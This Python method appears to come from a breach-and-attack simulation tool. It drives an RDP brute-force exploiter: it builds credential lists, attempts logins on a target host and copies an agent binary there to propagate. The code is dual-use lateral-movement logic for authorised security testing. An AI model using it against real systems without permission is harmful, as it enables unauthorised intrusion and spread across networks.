def METHOD_NAME(
    self,
    *,
    host: TargetHost,
    servers: Sequence[str],
    current_depth: int,
    options: Dict[str, Any],
    interrupt: Event,
    **kwargs,
) -> ExploiterResult:
    # HTTP ports options are hack because they are needed in fingerprinters
    del_key(options, "http_ports")
    try:
        logger.debug(f"Parsing options: {pformat(options)}")
        rdp_options = RDPOptions(**options)
    except Exception as err:
        msg = f"Failed to parse RDP options: {err}"
        logger.exception(msg)
        return ExploiterResult(error_message=msg)
    if not should_attempt_exploit(host):
        msg = f"Host {host.ip} has no open RDP ports"
        logger.debug(msg)
        return ExploiterResult(
            exploitation_success=False, propagation_success=False, error_message=msg
        )
    rdp_command_builder = partial(
        build_rdp_command,
        agent_id=self._agent_id,
        servers=servers,
        current_depth=current_depth,
        otp_provider=self._otp_provider,
    )
    rdp_remote_access_client_factory = RDPRemoteAccessClientFactory(
        host,
        rdp_options,
        rdp_command_builder,
    )
    running_from_windows = get_os() == OperatingSystem.WINDOWS
    credentials_generator = partial(
        generate_rdp_credentials,
        domains=rdp_options.domains,
        running_from_windows=running_from_windows,
    )
    credentials_provider = BruteForceCredentialsProvider(
        self._propagation_credentials_repository, credentials_generator
    )
    brute_force_exploiter = BruteForceExploiter(
        self._plugin_name,
        self._agent_id,
        get_agent_dst_path(host),
        rdp_remote_access_client_factory,
        credentials_provider,
        self._agent_binary_repository,
        self._agent_event_publisher,
        {AgentEventTag("rdp-exploiter")},
    )
    try:
        logger.debug(f"Running RDP exploiter on host {host.ip}")
        return brute_force_exploiter.exploit_host(host, interrupt)
    except Exception as err:
        msg = f"An unexpected exception occurred while attempting to exploit host: {err}"
        logger.exception(msg)
        return ExploiterResult(error_message=msg)